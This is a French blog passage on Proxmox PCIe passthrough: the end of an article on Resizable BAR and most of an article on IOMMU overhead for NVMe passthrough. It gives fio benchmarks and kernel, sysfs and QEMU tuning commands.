24 GB Encombré, et 4 Go de large en tout Un BAR de 24 Go ne va pas ici. Un de 256 Mo à peine could. Utilisable seulement avec Above 4G Decoding Un réglage de micrologiciel. Coupé par défaut sur certaines cartes, et sans lui un grand BAR n'est jamais alloué du tout. Chaque carte a besoin de sa place ici Quatre cartes de 24 Go veulent 96 Go de MMIO 64 bits alloués, plus tout le reste sur le bus. Le micrologiciel de toute carte grand public ne le fera pas. Le signe : bien avec deux cartes, une refuse de s'initialiser avec quatre, et dmesg dit pas de place pour le BAR. Hors échelle : la région 64 bits est bien plus grande que les 4 Go en dessous, ce qui est plutôt l'intérêt. Above 4G Decoding est ce qui rend la région haute utilisable tout court — et chaque carte a besoin de sa propre place là-haut, ce qui est là où les montages d\u0026rsquo;IA multi-GPU heurtent le mur. Comment vérifier sous Linux Que la carte ait la capacité, et quelles tailles elle offre :\n# Substitute your card\u0026#39;s address from lspci lspci -vvs 0000:XX:00.0 | grep -A6 \u0026#34;Physical Resizable BAR\u0026#34; Le noyau expose aussi cela dans sysfs, un fichier par BAR redimensionnable :\ncat /sys/bus/pci/devices/0000:XX:00.0/resource1_resize Cette valeur est un masque de bits des tailles prises en charge, pas une taille. Le bit 0 veut dire 1 Mo, le bit 1 veut dire 2 Mo, le bit 2 veut dire 4 Mo, et la taille pour un bit donné est 2 ^ (bit + 20). Ainsi 00000000000001c0 a les bits 6, 7 et 8 mis, ce qui veut dire que le BAR peut faire 64 Mo, 128 Mo ou 256 Mo.\nPour voir ce qui est réellement en vigueur, lisez les régions assignées :\nlspci -vvs 0000:XX:00.0 | grep -i Region Une carte qui tourne avec son framebuffer entier mappé montre une région correspondant à sa taille de VRAM plutôt qu\u0026rsquo;une de 256 Mo.\nRedimensionner à la main Vous pouvez écrire la position de bit vous-même :\n# bit 7 -\u0026gt; 2 ^ (7 + 20) = 128MB echo 7 \u0026gt; /sys/bus/pci/devices/0000:XX:00.0/resource1_resize Les conditions attachées sont strictes, et valent d\u0026rsquo;être lues avant d\u0026rsquo;essayer sur une machine à laquelle vous tenez. Chaque pilote doit d\u0026rsquo;abord être détaché du périphérique. Les périphériques voisins sous le même pont parent peuvent avoir besoin d\u0026rsquo;un retrait logiciel. Sur un périphérique VGA, écrire une valeur de redimensionnement démonte les pilotes de console de bas niveau. Tout ce qui tient les fichiers sysfs resourceN ouverts doit lâcher prise.\nLa documentation du noyau est aussi crue sur le résultat : le succès n\u0026rsquo;est pas garanti. Le redimensionnement échoue s\u0026rsquo;il n\u0026rsquo;y a pas d\u0026rsquo;espace d\u0026rsquo;adressage où placer le BAR plus grand. Ce qui vous ramène droit à Above 4G Decoding.\nQuand ça tourne mal dmesg dit qu\u0026rsquo;il ne peut pas assigner le BAR. Des messages de la forme BAR 0: no space for [mem size ...] veulent dire que l\u0026rsquo;allocation a échoué, pas que la carte est défaillante. Above 4G Decoding est la première chose à vérifier.\nPlusieurs GPU et l\u0026rsquo;un d\u0026rsquo;eux ne s\u0026rsquo;initialise pas. C\u0026rsquo;est l\u0026rsquo;échec du multi-GPU et des racks d\u0026rsquo;IA. Quatre cartes avec des BAR de 24 Go ont besoin de 96 Go d\u0026rsquo;espace MMIO 64 bits alloués, plus tout le reste, et le micrologiciel de toutes les cartes mères grand public ne le fera pas. Le symptôme est que la machine va bien avec deux cartes et s\u0026rsquo;écroule avec quatre.\nLa performance a baissé. Sur NVIDIA cela peut être la propre conclusion du pilote, vu qu\u0026rsquo;ils l\u0026rsquo;activent par titre justement parce que certaines charges régressent. Sur les autres, mesurez dans les deux sens plutôt que de supposer.\nRien n\u0026rsquo;a changé du tout. L\u0026rsquo;issue la plus probable pour une charge qui n\u0026rsquo;a jamais été bornée par la fenêtre du CPU sur la VRAM.\nPasser un GPU à grand BAR à une VM À signaler parce que cela surprend : un invité n\u0026rsquo;hérite pas de la carte mémoire de l\u0026rsquo;hôte. Le micrologiciel de la VM bâtit sa propre ouverture MMIO 64 bits, et le défaut d\u0026rsquo;OVMF est bien plus petit qu\u0026rsquo;un GPU moderne n\u0026rsquo;en a besoin, donc la carte soit échoue à s\u0026rsquo;initialiser, soit retombe sur un petit BAR. C\u0026rsquo;est un sujet Proxmox et QEMU plutôt qu\u0026rsquo;un sujet GPU, et il vit dans l\u0026rsquo;article sur la taxe IOMMU aux côtés des exigences de type de machine de Toujours utiliser Q35, pas i440fx.\nRéférences Intel — Resizable BAR and Intel Arc Graphics — l\u0026rsquo;affirmation d\u0026rsquo;Intel qu\u0026rsquo;il est requis pour une bonne expérience sur Arc, et la liste des plateformes prises en charge NVIDIA — Resizable BAR support for GeForce RTX 30 Series — les exigences, la fourchette mesurée, et l\u0026rsquo;approche par profils de jeu AMD — Smart Access Memory — l\u0026rsquo;appellation d\u0026rsquo;AMD et le couplage de plateforme Linux kernel sysfs-bus-pci ABI — resourceN_resize — le masque de bits, le dimensionnement 2 ^ (bit + 20), et les conditions de détachement ROCm system requirements — l\u0026rsquo;exigence d\u0026rsquo;atomiques PCIe qu\u0026rsquo;on confond avec celle-ci ","permalink":"https://blogs.damiendye.uk/fr/proxmox/pcie-resizable-bar/","summary":"Le Resizable BAR laisse le CPU mapper tout le framebuffer d\u0026rsquo;un GPU au lieu de le lorgner par une fenêtre de 256 Mo. Intel le dit requis pour Arc, NVIDIA l\u0026rsquo;active par jeu, AMD le vend sous le nom de Smart Access Memory — et pour le travail d\u0026rsquo;IA il change le transfert, pas le calcul.","title":"PCIe Resizable BAR et les GPU modernes — Intel Arc, NVIDIA et AMD"},{"content":"Le problème C\u0026rsquo;est apparu lors d\u0026rsquo;une mission client où nous concevions un déploiement Proxmox VE avec passthrough NVMe pour une charge sensible à la latence. Le client avait fait ses propres tests avant l\u0026rsquo;appel. Sur l\u0026rsquo;hôte, fio contre le disque NVMe rapportait 700K IOPS en lecture aléatoire avec une latence d\u0026rsquo;achèvement sous les 10 µs. Dans la VM, avec le même disque et le même test, ils en obtenaient à peu près la moitié.\nIls avaient déjà vérifié les choses évidentes. Le disque n\u0026rsquo;avait pas changé. Le micrologiciel n\u0026rsquo;avait pas changé. L\u0026rsquo;emplacement PCIe n\u0026rsquo;avait pas bougé. Ils commençaient à se demander si le passthrough n\u0026rsquo;était pas la mauvaise approche du tout.\nCe ne l\u0026rsquo;était pas. Ce qu\u0026rsquo;ils voyaient est la taxe IOMMU. Elle prend les gens au dépourvu parce que personne ne vous en parle avant que vous vous soyez engagé dans la conception de passthrough. La bonne nouvelle est que l\u0026rsquo;essentiel de la surcharge est récupérable une fois que vous comprenez d\u0026rsquo;où elle vient.\nPlongée en profondeur Les problèmes qu\u0026rsquo;il a fallu résoudre Donner à une VM un accès direct à un périphérique PCIe physique semble simple. En pratique, c\u0026rsquo;est l\u0026rsquo;un des problèmes les plus durs de la virtualisation des systèmes. Quelques choses qui marchent automatiquement sur métal nu deviennent dangereuses quand un périphérique est partagé entre un hôte et un invité.\nIsolation DMA C\u0026rsquo;est le problème fondamental.\nLes périphériques PCIe ne passent pas par le CPU pour lire et écrire la mémoire. Ils utilisent l\u0026rsquo;accès direct à la mémoire (DMA). Ils écrivent droit à des adresses physiques de RAM. Sur métal nu, c\u0026rsquo;est bien. Le périphérique et le système d\u0026rsquo;exploitation se font confiance.\nSous virtualisation, la VM invitée a sa propre vue de la mémoire physique. Les adresses que le pilote de l\u0026rsquo;invité donne au contrôleur NVMe sont des adresses physiques d\u0026rsquo;invité. Elles ne correspondent pas aux mêmes emplacements dans la RAM de l\u0026rsquo;hôte. Si le périphérique les utilise directement, il lit et écrit la mauvaise mémoire. Cela corrompt l\u0026rsquo;hôte, d\u0026rsquo;autres VM, ou les deux.\nPire, un pilote d\u0026rsquo;invité malveillant ou bogué pourrait délibérément programmer le périphérique pour faire du DMA dans n\u0026rsquo;importe quelle partie de la mémoire de l\u0026rsquo;hôte. C\u0026rsquo;est en pratique un accès root à toute la machine sans jamais exploiter un bogue d\u0026rsquo;hyperviseur.\nLa solution est l\u0026rsquo;IOMMU — une unité de traduction matérielle (Intel VT-d, AMD-Vi) qui siège entre chaque périphérique PCIe et la mémoire principale. Elle tient ses propres tables de pages, séparées de celles du CPU. Chaque requête DMA du périphérique passe par l\u0026rsquo;IOMMU, qui traduit les adresses physiques d\u0026rsquo;invité en adresses physiques d\u0026rsquo;hôte et bloque tout accès en dehors des régions de mémoire allouées à l\u0026rsquo;invité.\nSans l\u0026rsquo;IOMMU, un passthrough sûr est impossible. Avec, le périphérique est contenu.\nGroupement de périphériques L\u0026rsquo;IOMMU n\u0026rsquo;isole pas les périphériques individuels. Elle isole des groupes.\nLa spécification PCIe définit les Access Control Services (ACS) qui régissent si des périphériques sur le même bus peuvent se parler directement — DMA pair-à-pair — sans passer par le complexe racine où siège l\u0026rsquo;IOMMU. Si deux périphériques partagent un commutateur PCIe qui n\u0026rsquo;applique pas les ACS, un périphérique peut faire du DMA dans l\u0026rsquo;espace mémoire de l\u0026rsquo;autre, contournant l\u0026rsquo;IOMMU entièrement.\nLe noyau groupe les périphériques qui peuvent potentiellement s\u0026rsquo;atteindre sans application de l\u0026rsquo;IOMMU en un seul groupe IOMMU. Si votre contrôleur NVMe partage un groupe avec un autre périphérique, ne passer que le NVMe casse le modèle d\u0026rsquo;isolation. L\u0026rsquo;autre périphérique du groupe pourrait encore servir de canal détourné autour de l\u0026rsquo;IOMMU.\nLe matériel de qualité serveur, avec un vrai support ACS sur chaque pont et commutateur, donne en général à chaque périphérique son propre groupe. Les cartes grand public et stations de travail regroupent souvent plusieurs périphériques parce que le complexe racine PCIe n\u0026rsquo;implémente pas les ACS sur chaque port.\nProxmox porte un correctif noyau — pcie_acs_override — qui dit au noyau de traiter chaque périphérique comme isolé quel que soit le support ACS matériel. Cela marche en pratique, mais c\u0026rsquo;est mentir au noyau sur la topologie matérielle. Sur un système de production, des groupes propres adossés à de vrais ACS matériels sont toujours préférables.\nLivraison des interruptions Sur métal nu, quand un contrôleur NVMe achève une opération IO, il tire une interruption MSI-X directement vers le CPU. Le CPU la traite en quelques centaines de nanosecondes.\nSous virtualisation, cette interruption doit atteindre l\u0026rsquo;invité, pas l\u0026rsquo;hôte. L\u0026rsquo;approche naïve est de piéger chaque interruption dans l\u0026rsquo;hyperviseur, de déclencher une sortie de VM, d\u0026rsquo;injecter l\u0026rsquo;interruption dans l\u0026rsquo;invité, et de reprendre. Cela marche, mais chaque sortie de VM coûte 5 à 20 µs. À IOPS élevés — des centaines de milliers d\u0026rsquo;interruptions par seconde — la surcharge est substantielle.\nLa solution matérielle est les interruptions postées. L\u0026rsquo;APICv d\u0026rsquo;Intel et l\u0026rsquo;AVIC d\u0026rsquo;AMD permettent à l\u0026rsquo;IOMMU d\u0026rsquo;écrire l\u0026rsquo;interruption directement dans la page APIC virtuelle de l\u0026rsquo;invité sans causer de sortie de VM du tout. L\u0026rsquo;invité voit l\u0026rsquo;interruption comme si elle venait de matériel sur métal nu. La surcharge tombe à quelques centaines de nanosecondes.\nToutes les plateformes ne prennent pas en charge les interruptions postées. Les CPU plus anciens, certains chipsets de station de travail et certaines versions de BIOS n\u0026rsquo;exposent pas la capacité. Quand elles sont absentes, chaque interruption passe par le chemin lent, et il n\u0026rsquo;y a pas de contournement logiciel.\nRéinitialisation du périphérique Quand une VM s\u0026rsquo;éteint ou plante, le périphérique passé doit revenir à un état propre et connu. Sinon il ne peut être ni réassigné à une autre VM, ni récupéré par l\u0026rsquo;hôte.\nSur métal nu, le système d\u0026rsquo;exploitation fait un arrêt ordonné du pilote du périphérique. Sous passthrough, l\u0026rsquo;invité peut planter, l\u0026rsquo;utilisateur peut forcer l\u0026rsquo;arrêt de la VM, ou l\u0026rsquo;hyperviseur peut tuer le processus. Le périphérique pourrait être en plein transfert avec des opérations DMA en vol.\nPCIe définit le Function Level Reset (FLR) pour cela — une façon de réinitialiser une seule fonction de périphérique sans affecter le reste du bus. Les contrôleurs NVMe prennent en général le FLR en charge et le gèrent bien. Les GPU y sont notoirement mauvais, mais c\u0026rsquo;est un autre article.\nSi le FLR n\u0026rsquo;est pas pris en charge, le repli est une réinitialisation de bus secondaire, qui réinitialise tout ce qui est derrière ce pont PCIe. Si le pont a d\u0026rsquo;autres périphériques dessus, ils sont tous réinitialisés aussi. Dans le pire cas, un redémarrage complet de l\u0026rsquo;hôte est le seul moyen de récupérer le périphérique.\nSurcharge de traduction d\u0026rsquo;adresses L\u0026rsquo;IOMMU résout le problème de sûreté. À ce titre, elle n\u0026rsquo;est pas optionnelle. Mais elle en introduit un de performance.\nChaque opération DMA passe désormais par un niveau de traduction d\u0026rsquo;adresses supplémentaire. L\u0026rsquo;IOMMU a son propre TLB — l\u0026rsquo;IOTLB — et quand il touche, la surcharge est petite. Quand il manque, l\u0026rsquo;IOMMU doit parcourir ses tables de pages, et cela ajoute une vraie latence à chaque opération IO affectée.\nC\u0026rsquo;est la taxe IOMMU. Le reste de cet article porte sur la compréhension d\u0026rsquo;où elle vient et comment la réduire.\nChaque DMA passe par l'IOMMU : un succès est bon marché, un manque parcourt les tables de pages VM invitée pilote NVMe distribue des adresses physiques d'invité contrôleur NVMe écrit la mémoire directement — sans CPU DMA IOMMU IOTLB ses propres tables de pages traduit, puis permet ou refuse Mémoire hôte pages de cette VM la traduction atterrit ici hôte et autres VM inatteignable par conception Sans l'IOMMU, le contrôleur écrirait des adresses d'invité droit dans la RAM de l'hôte et corromprait ce qui y vit. succès IOTLB — la traduction est déjà en cache et ne coûte presque rien. manque IOTLB — l'IOMMU parcourt ses tables de pages, et cette latence retombe sur cette IO. C'est la taxe. Rien n\u0026rsquo;atteint la mémoire sans passer par ici. C\u0026rsquo;est la garantie de sûreté, et la traduction qu\u0026rsquo;elle effectue est le coût. Mappage des BAR et espace d\u0026rsquo;adressage Chaque périphérique PCIe expose un ou plusieurs Base Address Registers (BAR) qui mappent les registres internes et la mémoire du périphérique dans l\u0026rsquo;espace d\u0026rsquo;adressage MMIO de l\u0026rsquo;hôte. Le CPU de l\u0026rsquo;hôte accède au périphérique par ces mappages. Pour que le passthrough marche, l\u0026rsquo;hyperviseur doit présenter ces mappages correctement à l\u0026rsquo;invité.\nTraditionnellement, les tailles de BAR étaient fixées au démarrage par le BIOS et tenaient dans la fenêtre MMIO 32 bits héritée sous les 4 Go. Cela marchait quand les BAR étaient petits. Les GPU modernes ont changé le tableau. Un framebuffer de 24 Go a besoin d\u0026rsquo;un BAR de 24 Go, qui ne tient pas dans un espace d\u0026rsquo;adressage 32 bits.\nLe Resizable BAR (ReBAR) — aussi commercialisé sous le nom d\u0026rsquo;AMD Smart Access Memory (SAM) — est une capacité PCIe qui permet de renégocier la taille du BAR après le démarrage. Pour les GPU, c\u0026rsquo;est une fonction importante. Au lieu d\u0026rsquo;accéder au framebuffer par une fenêtre de 256 Mo et de le paginer par morceaux, l\u0026rsquo;hôte mappe toute la VRAM d\u0026rsquo;un coup.\nPour le NVMe, l\u0026rsquo;impact direct est plus petit. Les BAR d\u0026rsquo;un contrôleur NVMe font en général de 16 à 64 Ko pour le jeu de registres du contrôleur (BAR0). La spécification NVMe définit un Controller Memory Buffer (CMB) qui peut exposer un BAR plus grand pour des files de soumission résidant sur l\u0026rsquo;hôte, mais la plupart des disques ne l\u0026rsquo;implémentent pas. Le ReBAR ne change pas le débit NVMe comme il le fait pour les GPU.\nLa raison pour laquelle il compte dans un contexte de passthrough NVMe est l\u0026rsquo;environnement PCIe partagé. Si vous passez un disque NVMe à côté d\u0026rsquo;un GPU sur le même hôte, le BAR redimensionné du GPU a besoin d\u0026rsquo;espace d\u0026rsquo;adressage au-dessus de la limite des 4 Go. Le BIOS, l\u0026rsquo;IOMMU et la topologie PCIe virtuelle doivent tous l\u0026rsquo;accommoder. Se tromper dans l\u0026rsquo;allocation d\u0026rsquo;espace d\u0026rsquo;adressage veut dire que des périphériques ne s\u0026rsquo;initialisent pas, et le passthrough NVMe échoue en même temps que tout le reste.\nExposition à la coupure de courant Sur un disque virtuel, l\u0026rsquo;hyperviseur et la couche de stockage gèrent l\u0026rsquo;ordre des écritures et la cohérence en cas de plantage. Avec le passthrough, l\u0026rsquo;invité parle directement à la flash. Si l\u0026rsquo;hôte perd le courant en pleine écriture, ce que le micrologiciel du contrôleur NVMe fait — ou ne fait pas — de son cache d\u0026rsquo;écriture détermine si vous perdez des données.\nLes disques NVMe d\u0026rsquo;entreprise portent des condensateurs de protection contre la coupure de courant (PLP) qui vident le cache d\u0026rsquo;écriture en sûreté lors d\u0026rsquo;une panne de courant. Les disques grand public sans PLP peuvent ne pas le faire. Avec le passthrough, il n\u0026rsquo;y a pas de filet de sécurité de l\u0026rsquo;hyperviseur entre l\u0026rsquo;invité et le matériel.\nPour une charge de production, un disque d\u0026rsquo;entreprise avec PLP n\u0026rsquo;est pas optionnel.\nCompromis d\u0026rsquo;exploitation Le passthrough retire aussi des capacités que les disques virtuels fournissent.\nUn périphérique passé est physiquement boulonné à un hôte donné. La VM ne peut pas être migrée à chaud tant que le périphérique est attaché. Dans un cluster Proxmox avec HA, une panne de nœud veut dire que la VM tombe et démarre à froid sur un autre nœud. Il n\u0026rsquo;y a pas de bascule transparente.\nLe disque est aussi invisible à vzdump et à Proxmox Backup Server. Il ne sera inclus ni dans les instantanés de VM ni dans les sauvegardes planifiées. Une stratégie de sauvegarde séparée — au niveau de l\u0026rsquo;invité, du système de fichiers ou de l\u0026rsquo;application — doit être en place avant que la charge parte en production.\nComment le passthrough VFIO marche réellement Quand vous passez un périphérique PCIe à une VM, l\u0026rsquo;hyperviseur remet à l\u0026rsquo;invité le contrôle direct des registres MMIO du périphérique. Le pilote de l\u0026rsquo;invité parle au contrôleur NVMe comme s\u0026rsquo;il tournait sur métal nu. Cette partie est quasi native. L\u0026rsquo;accès aux registres MMIO passe par les Extended Page Tables (EPT sur Intel, NPT sur AMD) et s\u0026rsquo;achève en général sans sortie de VM.\nLe chemin DMA est là où le coût apparaît. Chaque opération DMA passe par l\u0026rsquo;IOMMU pour la traduction d\u0026rsquo;adresses, et comme décrit plus haut, cette traduction a un prix. Surtout sur les manques d\u0026rsquo;IOTLB.\nPourquoi les tests paraissent pires que la réalité Voici où la plupart des gens se trompent dans leurs tests.\nUn fil de forum Proxmox qui a motivé cet article avait des utilisateurs faisant tourner fio avec iodepth=1. À cette profondeur de file, fio soumet une IO, attend qu\u0026rsquo;elle s\u0026rsquo;achève, puis soumet la suivante. Le test ne mesure que la latence par IO. Chaque microseconde de surcharge IOMMU apparaît en entier.\nLes chiffres de ce fil racontent l\u0026rsquo;histoire clairement. La latence d\u0026rsquo;achèvement sur métal nu tournait autour de 10 µs en moyenne. Dans la VM, elle tournait autour de 28 µs. Ces ~18 µs par IO en plus sont la surcharge de traduction IOMMU. À iodepth=1, cela divise directement le débit par deux, parce que le débit vaut 1 / latence quand il n\u0026rsquo;y a qu\u0026rsquo;une seule IO en vol.\nPoussez la profondeur de file à 32 ou 64 — ce qui est la façon dont les disques NVMe sont conçus pour fonctionner — et le tableau change. Avec plusieurs IO en vol, la surcharge IOMMU est amortie sur toutes. Le contrôleur traite des achèvements pendant que de nouvelles traductions se font. Le débit récupère à quelques pour cent près du métal nu.\nL\u0026rsquo;enseignement pratique est celui-ci. Si votre charge tourne à des profondeurs de file au-dessus de 4, la pénalité de débit IOMMU est probablement négligeable. Cela couvre la plupart des charges de base de données, de virtualisation et de stockage. Si votre charge est sensible à la latence à basses profondeurs de file — certaines applications temps réel, opérations de métadonnées synchrones — vous la sentirez.\nLa pénalité IOMMU est un artefact de profondeur de file plus qu'un plafond de débit Débit VM en part du métal nu les charges réalistes vivent ici 0% 25% 50% 75% 100% le test que tout le monde lance iodepth=1 mesure la pure latence par IO, donc le 10 µs contre 28 µs apparaît en entier à quelques pour cent près 1 2 4 8 16 32 64 profondeur de file (fio iodepth) Illustratif, d'après les chiffres 10 µs / 28 µs de l'article. Même matériel, même test, même surcharge — seule la profondeur de file change. La surcharge est la même en chaque point de cette courbe. Tout ce qui change, c\u0026rsquo;est combien d\u0026rsquo;IO sont en vol pour l\u0026rsquo;amortir. Faites tourner vos tests à des profondeurs de file réalistes avant de conclure que le passthrough est trop lent :\n# Bare metal baseline — run on the host before binding to vfio-pci fio --name=randread --ioengine=libaio --direct=1 --bs=4k \\ --iodepth=32 --numjobs=4 --rw=randread --size=1G \\ --filename=/dev/nvme0n1 --runtime=30 --time_based \\ --group_reporting # Same test inside the VM after passthrough fio --name=randread --ioengine=libaio --direct=1 --bs=4k \\ --iodepth=32 --numjobs=4 --rw=randread --size=1G \\ --filename=/dev/nvme0n1 --runtime=30 --time_based \\ --group_reporting Comparez les percentiles de clat (latence d\u0026rsquo;achèvement) et les chiffres d\u0026rsquo;IOPS. À iodepth=32 avec quatre tâches, l\u0026rsquo;écart devrait être de quelques points de pourcentage à un chiffre, pas de 50 %.\nAlignement NUMA Cela a son propre article. Voir Alignement NUMA sur Proxmox VE — pourquoi cela compte et comment bien le faire.\nLa version courte : sur les systèmes multi-socket, chaque périphérique PCIe est câblé à un socket donné. Si le disque NVMe est sur le nœud NUMA 1 et que les vCPU de la VM sont épinglés au nœud 0, chaque achèvement DMA traverse le lien inter-socket. Cela ajoute 50 à 100 ns par opération. À IOPS élevés, la différence de débit entre NUMA aligné et désaligné est de 20 à 30 %.\nVérifiez avec cat /sys/bus/pci/devices/0000:XX:00.0/numa_node, puis épinglez les vCPU de la VM à des cœurs du même nœud avec le paramètre affinity dans la configuration de la VM. Sur les systèmes mono-socket, ce n\u0026rsquo;est pas un souci.\nGestion de l\u0026rsquo;alimentation par état actif PCIe (ASPM) Cela a son propre article. Voir PCIe ASPM et pourquoi il faut le désactiver pour le passthrough.\nLa version courte : l\u0026rsquo;ASPM permet aux liens PCIe d\u0026rsquo;entrer dans des états de basse consommation quand ils sont inactifs. Sous passthrough, l\u0026rsquo;hôte contrôle encore le lien physique mais l\u0026rsquo;invité possède le périphérique. Quand l\u0026rsquo;invité soumet une IO et que le lien est endormi, le temps de réveil ajoute de la latence. Le symptôme est un large étalement de vos percentiles de clat. Le p99 peut être 5 à 10 fois plus haut que la moyenne alors que la moyenne paraît bonne.\nDésactivez-le sur l\u0026rsquo;hôte avec pcie_aspm=off dans la ligne de commande noyau. Ajoutez aussi disable_idle_d3=1 aux options du module vfio-pci si votre contrôleur NVMe a des soucis de récupération d\u0026rsquo;état d\u0026rsquo;alimentation. Le Samsung 990 EVO Plus est un coupable connu.\nMaxPayloadSize (MPS) Cela a son propre article. Voir PCIe MaxPayloadSize — un gain de performance gratuit pour le passthrough.\nLa version courte : les périphériques PCIe transfèrent les données en Transaction Layer Packets. Le complexe racine virtuel de QEMU met par défaut une charge utile maximale de 128 octets. La plupart des périphériques prennent en charge 256 ou 512 octets. Ajouter pci=pcie_bus_perf à la ligne de commande noyau de l\u0026rsquo;hôte fixe le MPS au maximum que le bus parent de chaque périphérique permet. C\u0026rsquo;est une petite amélioration de débit — quelques pour cent à un chiffre — mais elle est gratuite et sans inconvénient.\nResizable BAR et ouverture MMIO Le problème de mappage des BAR décrit plus haut a des étapes pratiques côté BIOS et côté VM.\nD\u0026rsquo;abord, activez Above 4G Decoding dans le BIOS. Cela permet de mapper les BAR dans l\u0026rsquo;espace d\u0026rsquo;adressage au-dessus de la limite des 4 Go, ce qui est requis pour tout périphérique à grands BAR. Activez-le même pour un passthrough NVMe seul. Il n\u0026rsquo;a pas d\u0026rsquo;inconvénient et évite des ennuis si vous ajoutez un GPU ou un autre périphérique à grand BAR plus tard.\nSi le ReBAR est disponible dans le BIOS, activez-le aussi. Il n\u0026rsquo;affectera pas la performance NVMe directement, mais il permet aux GPU sur le même hôte d\u0026rsquo;utiliser leur mappage de framebuffer complet.\nCôté VM, le complexe racine virtuel Q35 de QEMU a besoin d\u0026rsquo;une fenêtre MMIO 64 bits assez grande pour que l\u0026rsquo;invité voie les BAR redimensionnés. Par défaut, OVMF alloue une fenêtre relativement petite. Pour un passthrough NVMe seul, c\u0026rsquo;est bien. Les BAR NVMe tiennent confortablement. Mais si la VM a à la fois un NVMe et un GPU passés, augmentez l\u0026rsquo;ouverture MMIO :\nargs: -fw_cfg name=opt/ovmf/X-PciMmio64Mb,string=65536 Cela dit à OVMF d\u0026rsquo;allouer 64 Go d\u0026rsquo;espace MMIO 64 bits, assez pour la plupart des framebuffers de GPU à côté du petit BAR du contrôleur NVMe.\nLe support du ReBAR par QEMU s\u0026rsquo;améliore mais n\u0026rsquo;est toujours pas sans accroc. Certains GPU AMD (Vega et plus récents) déclenchent des erreurs de pilote (Code 43 sous Windows) avec le ReBAR activé sous QEMU. Si vous tombez là-dessus, désactivez le ReBAR dans le BIOS en première étape. Le passthrough NVMe ne sera pas affecté dans un sens ou dans l\u0026rsquo;autre.\nPour ce que fait le Resizable BAR du côté GPU de la barrière, et pourquoi Intel le traite comme obligatoire sur Arc alors que NVIDIA l\u0026rsquo;active par jeu, voir PCIe Resizable BAR et les GPU modernes.\nGestion des interruptions Le problème de livraison des interruptions décrit plus haut a une étape de réglage pratique. Les interruptions postées (APICv sur Intel, AVIC sur AMD) peuvent ne pas être activées par défaut.\nVérifiez si elles sont actives :\n# Intel — look for \u0026#34;Posted-Interrupts\u0026#34; in dmesg dmesg | grep -i \u0026#34;posted\u0026#34; # AMD — check AVIC support dmesg | grep -i \u0026#34;avic\u0026#34; Livraison d'interruptions piégées contre interruptions postées Pas d'interruptions postées — l'achèvement fait le grand tour NVMelève MSI-X hyperviseurle piège injectedans l'invité l'invité reprendle traite VM exit VM entry 5–20 µs par interruption À quelques centaines de milliers d'IOPS ce n'est pas une erreur d'arrondi — c'est le coût dominant. Interruptions postées (Intel APICv / AMD AVIC) — droit dedans NVMelève MSI-X IOMMUl'écrit directement page APIC virtuelle de l'invité l'invité voit juste une interruption sans sortie sans sortie ~100s of ns Il n'y a pas de contournement logiciel : les interruptions postées sont une capacité matérielle. Mais elles ne sont pas toujours activées par défaut, alors cherchez-les avant de conclure que le chemin lent est inévitable. Quatre étapes et deux sorties de VM, ou une écriture dans la page APIC de l\u0026rsquo;invité. À IOPS élevés la différence cesse d\u0026rsquo;être académique. Sur les systèmes AMD EPYC, activez l\u0026rsquo;AVIC dans le module KVM s\u0026rsquo;il n\u0026rsquo;est pas activé par défaut :\n# /etc/modprobe.d/kvm.conf options kvm_amd avic=1 Sur les systèmes Intel, l\u0026rsquo;APICv avec interruptions postées est en général activé automatiquement quand VT-d est actif.\nSi votre plateforme ne prend pas en charge les interruptions postées, il n\u0026rsquo;y a pas de contournement logiciel. C\u0026rsquo;est une capacité matérielle. Mais il vaut de vérifier qu\u0026rsquo;elle est réellement activée avant de supposer que le chemin lent est inévitable.\nAffinité des interruptions et alignement des files Les contrôleurs NVMe utilisent plusieurs paires de files de soumission et d\u0026rsquo;achèvement. En général une par cœur de CPU. Quand les vCPU de la VM ne s\u0026rsquo;alignent pas avec les cœurs physiques qui gèrent les interruptions NVMe, les achèvements doivent traverser les cœurs par des interruptions inter-processeurs. Cela ajoute de la latence.\nDans l\u0026rsquo;invité, vérifiez combien de files IO le pilote NVMe a créées et comment elles sont mappées :\n# List NVMe IO queues cat /proc/interrupts | grep nvme # Check affinity for irq in $(grep nvme /proc/interrupts | awk \u0026#39;{print $1}\u0026#39; | tr -d \u0026#39;:\u0026#39;); do echo \u0026#34;IRQ $irq: $(cat /proc/irq/$irq/smp_affinity_list)\u0026#34; done Idéalement, l\u0026rsquo;interruption de chaque file IO NVMe devrait être affinitée au vCPU qui soumet à cette file. La plupart des pilotes NVMe modernes gèrent cela automatiquement. Mais il vaut de le vérifier, surtout si vous avez épinglé des vCPU à la main ou réduit le nombre de vCPU en dessous du nombre de files du contrôleur.\nToujours utiliser Q35, pas i440fx Cela mérite son propre article. Voir Toujours utiliser Q35, pas i440fx.\nLa version courte : i440fx présente un bus PCI hérité plat. Q35 présente un vrai complexe racine PCIe. Les périphériques passés sur i440fx apparaissent comme du PCI hérité, ce qui casse la livraison d\u0026rsquo;interruptions multi-file MSI-X. Les contrôleurs NVMe ont besoin de MSI-X pour leur architecture d\u0026rsquo;une file par cœur. Sans lui, tous les achèvements d\u0026rsquo;IO passent par une seule interruption et vous obtenez un goulot d\u0026rsquo;étranglement à IOPS élevés qu\u0026rsquo;aucune quantité de réglage noyau ne corrigera.\nDans Proxmox 8.x et plus récent, Q35 est le défaut pour les nouvelles VM. Si vous faites du passthrough sur une VM plus ancienne encore en i440fx, changez-la. RHEL 10 a formellement rendu i440fx obsolète, et l\u0026rsquo;écosystème KVM plus large suit.\nTout mettre ensemble Voici un résumé des étapes de réglage par ordre d\u0026rsquo;impact.\nLes étapes de réglage par ordre d'impact, et ce que chacune change réellement par ordre d'impact ce que ça change 1 Alignement NUMA 20-30 % du débit sur une machine multi-socket. Rien d'autre ici n'en approche. DÉBIT 2 ASPM coupé Retire la latence de réveil de la queue. La moyenne bouge à peine ; le p99 oui. GIGUE DE LATENCE 3 Profondeurs de file réalistes Ne change rien sur la machine. Vous évite une mauvaise conclusion à partir d'iodepth=1. LA MESURE 4 Interruptions postées (APICv / AVIC) Microsecondes à nanosecondes par interruption — mais seulement si la plateforme l'a. Vérifiez. COÛT PAR INTERRUPTION 5 MaxPayloadSize — pci=pcie_bus_perf Quelques pour cent à un chiffre. Gratuit, sans inconvénient, donc réglez-le — sans rien attendre de visible. SURCHARGE SUR LE FIL 6 vfio-pci disable_idle_d3 Empêche un contrôleur capricieux de mourir en D3. Achète de la fiabilité, pas de la vitesse. FIABILITÉ Classé, délibérément pas en barres : elles ne partagent pas d'unité, donc un graphe en barres inviterait une comparaison qui n'existe pas. Descendez cette liste, ne la traversez pas. La première entrée vaut plus que tout le reste réuni sur une machine multi-socket. Alignement NUMA — assurez-vous que le disque NVMe et les 